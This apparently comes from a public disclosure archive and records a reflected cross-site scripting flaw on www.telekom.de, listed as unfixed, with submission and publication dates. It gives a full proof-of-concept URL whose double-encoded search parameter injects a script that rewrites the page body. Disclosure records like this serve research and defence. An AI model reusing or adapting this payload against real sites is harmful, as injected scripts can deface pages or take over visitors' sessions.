www.telekom.de cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher dev0, has submitted on 09/06/2010 a cross-site-scripting (XSS) vulnerability affecting www.telekom.de, which at the time of submission ranked 2268 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 24/12/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Date submitted: 09/06/2010

Date published: 24/12/2011

Fixed? Mail us!

Status:

UNFIXED

Author: dev0

Domain: www.telekom.de

Category: XSS

Pagerank: 2268

URL: http://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-TELEKOM-Site/de_DE/-/EUR/ViewSearch-SubmitQu
ickSearch;sid=ODD35_0IAivw57EYNIznU_YNCopq6v5av6BSbaaiO82n-c-ypT1LhcT5?vssearch=%253C%2573%2563%2572
%2569%2570%2574%253E%2564%256F%2563%2575%256D%2565%256E%2574%252E%2562%256F%2564%2579%252E%2569%256E
%256E%2565%2572%2548%2554%254D%254C%2520%253D%2520%2522%253C%2568%2531%253E%2570%2572%256F%256F%2566
%252D%256F%2566%252D%2563%256F%256E%2563%2565%2570%2574%252E%256F%2572%2567%253C%252F%2568%2531%253E
%2522%2520%253C%252F%2573%2563%2572%2569%2570%2574%253E&qgo_srch_button.x=35&qgo_srch_button.y=11

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention